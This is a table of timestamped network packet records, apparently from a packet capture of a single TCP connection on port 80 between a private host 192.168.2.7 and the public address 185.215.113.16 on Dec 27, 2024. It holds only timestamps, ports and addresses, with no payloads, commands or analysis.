Dec 27, 2024 14:56:41.479233980 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.479268074 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.479295969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480038881 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480058908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480068922 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480113983 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.480176926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480958939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480988026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.480998993 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.481046915 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.481060982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.481852055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.481915951 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.481929064 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.481939077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.481981993 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.482053041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.482645988 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.482685089 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.482695103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.482698917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.482727051 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.482812881 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.483472109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.483511925 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.483521938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.483522892 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.483556032 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.483583927 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.484358072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.484402895 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.484416008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.484469891 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.484482050 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.485230923 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.485284090 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.485295057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.485321999 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.485337019 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.486069918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.486108065 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.486119032 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.486166000 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.486185074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487031937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487087965 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487088919 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.487098932 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487134933 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.487166882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487881899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487891912 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487903118 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487926960 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.487938881 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.487950087 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.488656044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.488702059 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.488722086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.488732100 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.488765955 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.488799095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.489523888 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.489559889 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.489569902 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.489615917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.489691973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.490386009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.490397930 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.490407944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.490453959 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.490470886 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.491190910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.491254091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.491262913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.491307974 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.491329908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492068052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492089987 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492100000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492178917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.492199898 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492908955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492949963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.492960930 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.493009090 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.493026018 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.493778944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.493838072 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.493840933 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.493851900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.493885994 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.493917942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.494662046 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.494718075 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.494729042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.494760990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.494760990 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.494771004 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.495496988 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.495543003 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.495554924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.495563030 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.495589972 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.495626926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.496349096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.496414900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.496424913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.496459007 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.496463060 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.497206926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.497251987 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.497262001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.497308969 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.497358084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.498147964 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.498184919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.498194933 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.498231888 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.498301029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.498985052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499032974 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499043941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499084949 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.499099970 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.499104023 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499856949 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499903917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499914885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499948025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.499955893 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.500653982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.500716925 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.500727892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.500761986 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.500772953 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.500791073 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.501516104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.501558065 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.501563072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.501574039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.501660109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.501704931 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.502374887 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.502454996 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.502465963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.502491951 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.502504110 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.502532959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.503206968 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.503252029 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.503278017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.503288984 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.503355980 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.503396988 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.504084110 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.504139900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.504151106 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.504194975 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.504239082 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.504976034 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505026102 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505037069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505040884 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.505067110 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.505100012 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505831003 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505881071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505893946 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.505897045 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.505942106 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.506004095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.506741047 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.506789923 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.506800890 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.506809950 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.506838083 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.506994963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.507949114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.507961035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.507972002 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.507982016 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.508012056 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.508480072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.508538961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.508549929 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.508574009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.508611917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.509228945 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.509280920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.509291887 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.509346962 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.509459019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.510226965 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.510277987 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.510292053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.510328054 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.510338068 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.510360003 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.510987997 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.511050940 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.511075974 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.511087894 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.511112928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.511156082 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.512043953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512056112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512067080 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512079000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512115002 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.512725115 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512780905 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512794018 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.512850046 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.512881041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.513607025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.515893936 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.639420986 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639487982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639523029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639558077 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639708042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639720917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.639744043 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639796972 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.639817953 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.640480995 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.640594006 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.640629053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.640652895 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.640682936 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.640718937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.641311884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.641366005 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.641401052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.641422033 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.641449928 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.641948938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642003059 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642051935 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642118931 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.642201900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642802954 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642878056 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642889977 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.642926931 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.642963886 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.643595934 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.643641949 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.643651962 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.643692017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.643723011 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.644002914 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.644443035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.644485950 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.644498110 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.644536972 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.644572020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.645283937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.645349979 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.645361900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.645391941 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.645448923 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.646161079 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.646202087 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.646210909 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.646213055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.646244049 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.646280050 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647013903 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647078991 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647090912 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647138119 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.647159100 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647758961 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.647901058 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647967100 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.647977114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.648030996 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.648111105 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.648745060 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.648803949 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.648804903 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.648817062 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.648855925 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.648885012 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.648941040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.649612904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.649665117 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.649676085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.649739027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.649745941 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.649780989 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.650444031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.650506020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.650516033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.650588036 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.650641918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.651335001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.651351929 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.651362896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.651395082 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.651407957 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.651432037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.651470900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.652571917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.652611017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.652631998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.652651072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.652694941 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.653043985 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.653110027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.653130054 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.653152943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.653213978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.653255939 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.653938055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.653958082 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.653979063 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.654007912 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.654042959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.654226065 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.654808998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.654838085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.654858112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.654879093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.654941082 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.655606031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.655687094 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.655708075 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.655762911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.655792952 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.655808926 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.656497002 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.656517982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.656538010 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.656564951 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.656595945 CET	80	49759	185.215.113.16	192.168.2.7
